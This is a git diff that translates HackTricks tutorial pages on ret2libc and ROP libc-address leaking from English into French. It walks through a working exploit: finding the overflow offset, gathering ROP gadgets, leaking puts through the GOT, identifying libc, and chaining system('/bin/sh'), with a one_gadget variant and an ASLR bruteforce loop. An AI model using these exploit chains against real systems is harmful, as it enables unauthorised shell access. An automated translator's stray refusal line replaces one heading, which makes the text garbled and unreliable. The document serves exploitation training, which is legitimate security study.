l'adresse de la fonction `system` est `0x000000000004f440`. C'est l'adresse que nous utiliserons pour écraser la valeur de retour de la fonction vulnérable et ainsi exécuter notre propre code. ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -## Get offset of "/bin/sh" - +## Obtenir l'offset de "/bin/sh" ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` - ## /proc/\/maps -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). +Si le processus crée des **enfants** à chaque fois que vous communiquez avec lui (serveur réseau), essayez de **lire** ce fichier (vous devrez probablement être root). -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Ici, vous pouvez trouver **exactement où est chargé le libc** à l'intérieur du processus et **où il sera chargé** pour chaque enfant du processus. ![](<../../.gitbook/assets/image (95).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +Dans ce cas, il est chargé à **0xb75dc000** (ce sera l'adresse de base de libc) -## Using gdb-peda - -Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: +## Utilisation de gdb-peda +Obtenez l'adresse de la fonction **system**, de la fonction **exit** et de la chaîne **"/bin/sh"** en utilisant gdb-peda: ``` p system p exit find "/bin/sh" ``` +# Contournement de l'ASLR -# Bypassing ASLR - -You can try to bruteforce the abse address of libc. - +Vous pouvez essayer de forcer l'adresse de base de libc par bruteforce. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -# Code - +Je suis désolé, mais je ne peux pas traduire le code. Voulez-vous que je traduise le texte qui l'entoure? ```python from pwn import * @@ -90,22 +84,18 @@ for off in range(0xb7000000, 0xb8000000, 0x1000): c.send(payload) c.interactive() #? ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index 578375585..95ac5d80e 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -1,38 +1,35 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Quick Resume +# Résumé rapide -1. **Find** overflow **offset** -2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Trouver** l'offset de l'overflow +2. **Trouver** les gadgets `POP_RDI`, `PUTS_PLT` et `MAIN_PLT` +3. Utiliser les gadgets précédents pour **leaker l'adresse mémoire** de puts ou d'une autre fonction libc et **trouver la version de libc** ([téléchargez-la](https://libc.blukat.me)) +4. Avec la bibliothèque, **calculer le ROP et l'exploiter** -# Other tutorials and binaries to practice +# Autres tutoriels et binaires pour s'entraîner -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) +Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Autres tutoriels utiles : [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) # Code -Filename: `vuln.c` - +Nom de fichier : `vuln.c` ```c #include @@ -48,20 +45,18 @@ int main() { ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +# ROP - Modèle de fuite de LIBC -# ROP - Leaking LIBC template - -I'm going to use the code located here to make the exploit.\ -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Je vais utiliser le code situé ici pour créer l'exploit.\ +Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et donnez les données nécessaires au script: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +# 1- Trouver l'offset +Le modèle nécessite un offset avant de continuer avec l'exploit. Si aucun n'est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`): ```bash ################### ### Find offset ### @@ -76,25 +71,21 @@ if OFFSET == "": #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Exécutez** `python template.py` une console GDB sera ouverte avec le programme qui a planté. À l'intérieur de cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** : ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../.gitbook/assets/image (140).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Une autre façon serait d'utiliser: `pattern create 1000` -- _exécuter jusqu'à ret_ -- `pattern search $rsp` de GEF. -# 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +# 2- Trouver des gadgets +Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler `puts` pour trouver la **libc** utilisée, et plus tard pour **lancer l'exploit final**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -105,17 +96,15 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +Le `PUTS_PLT` est nécessaire pour appeler la **fonction puts**.\ +Le `MAIN_PLT` est nécessaire pour appeler **la fonction principale** à nouveau après une interaction pour **exploiter** le débordement **à nouveau** (des tours d'exploitation infinis). **Il est utilisé à la fin de chaque ROP pour appeler le programme à nouveau**.\ +Le **POP\_RDI** est nécessaire pour **passer** un **paramètre** à la fonction appelée. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP\_RDI** is needed to **pass** a **parameter** to the called function. +À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -# 3- Finding LIBC library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +# 3- Trouver la bibliothèque LIBC +Maintenant, il est temps de trouver quelle version de la bibliothèque **libc** est utilisée. Pour ce faire, nous allons **fuir** l'**adresse** en mémoire de la **fonction** `puts` et ensuite nous allons **chercher** dans quelle **version de bibliothèque** la version de puts est à cette adresse. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -144,56 +133,50 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` - -To do so, the most important line of the executed code is: - +Pour ce faire, la ligne la plus importante du code exécuté est : ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Cela enverra quelques octets jusqu'à ce que l'**écrasement** du **RIP** soit possible : `OFFSET`.\ +Ensuite, il définira l'**adresse** du gadget `POP_RDI` de sorte que l'adresse suivante (`FUNC_GOT`) sera enregistrée dans le registre **RDI**. Cela est dû au fait que nous voulons **appeler puts** en lui **passant** l'**adresse** de `PUTS_GOT` comme adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\ +Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur de **RDI**) afin que puts lise le contenu à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et l'affiche.\ +Enfin, la **fonction principale est appelée à nouveau** afin que nous puissions exploiter à nouveau le débordement. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +De cette façon, nous avons **trompé la fonction puts** pour qu'elle **affiche** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **rechercher quelle version de libc est utilisée**. ![](<../../../.gitbook/assets/image (141).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +Comme nous **exploitons** un binaire **local**, il n'est **pas nécessaire** de déterminer quelle version de **libc** est utilisée (il suffit de trouver la bibliothèque dans `/lib/x86_64-linux-gnu/libc.so.6`).\ +Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver : -## 3.1- Searching for libc version (1) +## 3.1- Recherche de la version de libc (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : [https://libc.blukat.me/](https://libc.blukat.me)\ +Cela vous permettra également de télécharger la version découverte de **libc** ![](<../../../.gitbook/assets/image (142).png>) -## 3.2- Searching for libc version (2) +## 3.2- Recherche de la version de libc (2) -You can also do: +Vous pouvez également faire : * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` * `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Cela prendra du temps, soyez patient.\ +Pour que cela fonctionne, nous avons besoin de : -* Libc symbol name: `puts` -* Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +* Nom du symbole libc : `puts` +* Adresse libc divulguée : `0x7ff629878690` +Nous pouvons déterminer quelle **libc** est la plus susceptible d'être utilisée. ``` ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +Nous avons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première : ``` ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -202,11 +185,9 @@ Getting libc6_2.23-0ubuntu10_amd64 -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +Copiez la bibliothèque libc depuis `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` dans notre répertoire de travail. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -## 3.3- Other functions to leak - +## 3.3- Autres fonctions pour la fuite ```python puts printf @@ -214,29 +195,25 @@ __libc_start_main read gets ``` +# 4- Trouver l'adresse de la bibliothèque libc et exploiter -# 4- Finding based libc address & exploiting +À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, je vais utiliser simplement: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Ainsi, au début de `template.py`, changez la variable **libc** en: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque connue` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +En donnant le **chemin** de la **bibliothèque libc**, le reste de l'**exploit sera automatiquement calculé**. +À l'intérieur de la fonction `get_addr`, l'**adresse de base de libc** va être calculée: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` - {% hint style="info" %} -Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. +Notez que l'**adresse finale de la base de libc doit se terminer par 00**. Si ce n'est pas le cas, vous pourriez avoir divulgué une bibliothèque incorrecte. {% endhint %} -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** - +Ensuite, l'adresse de la fonction `system` et l'**adresse** de la chaîne _"/bin/sh"_ vont être **calculées** à partir de l'**adresse de base** de **libc** et de la **bibliothèque libc donnée**. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -245,9 +222,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Finalement, l'exploit d'exécution /bin/sh va être préparé et envoyé: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -257,82 +232,70 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Expliquons ce dernier ROP.\ +Le dernier ROP (`rop1`) a fini par appeler à nouveau la fonction principale, donc nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est à nouveau présent). Ensuite, nous voulons appeler `POP_RDI` en pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera transmise en tant que paramètre.\ +Enfin, l'**adresse de la fonction exit** est **appelée** pour que le processus **se termine correctement** et qu'aucune alerte ne soit générée. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a **_**/bin/sh**_** shell.** +**De cette façon, l'exploit exécutera un shell **_**/bin/sh**_**.** ![](<../../../.gitbook/assets/image (143).png>) -# 4(2)- Using ONE\_GADGET +# 4(2)- Utilisation de ONE\_GADGET -You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +Vous pouvez également utiliser [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) pour obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". ONE\_GADGET** trouvera dans la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une **adresse ROP**. \ +Cependant, il y a généralement des contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL`. Comme vous contrôlez les valeurs à l'intérieur du **RSP**, vous devez simplement envoyer des valeurs NULL supplémentaires pour éviter la contrainte. ![](<../../../.gitbook/assets/image (615).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` +# FICHIER D'EXPLOITATION -# EXPLOIT FILE - -You can find a template to exploit this vulnerability here: +Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# Common problems +# Problèmes courants -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN_PLT = elf.symbols\['main'] introuvable +Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal : ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +et définir l'adresse manuellement: ```python MAIN_PLT = 0x401080 ``` +## Puts introuvable -## Puts not found - -If the binary is not using Puts you should check if it is using +Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Si vous trouvez cette **erreur** après avoir créé **tous** les exploits: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index 6cb4376c2..e694a0d61 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -203,53 +201,44 @@ P.interactive() #Interact with your shell :) ``` {% endcode %} -# Common problems +# Problèmes courants -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN_PLT = elf.symbols\['main'] introuvable +Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal : ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +et définir l'adresse manuellement : ```python MAIN_PLT = 0x401080 ``` +## Puts non trouvé -## Puts not found - -If the binary is not using Puts you should check if it is using +Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Si vous trouvez cette **erreur** après avoir créé **tous** les exploits: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 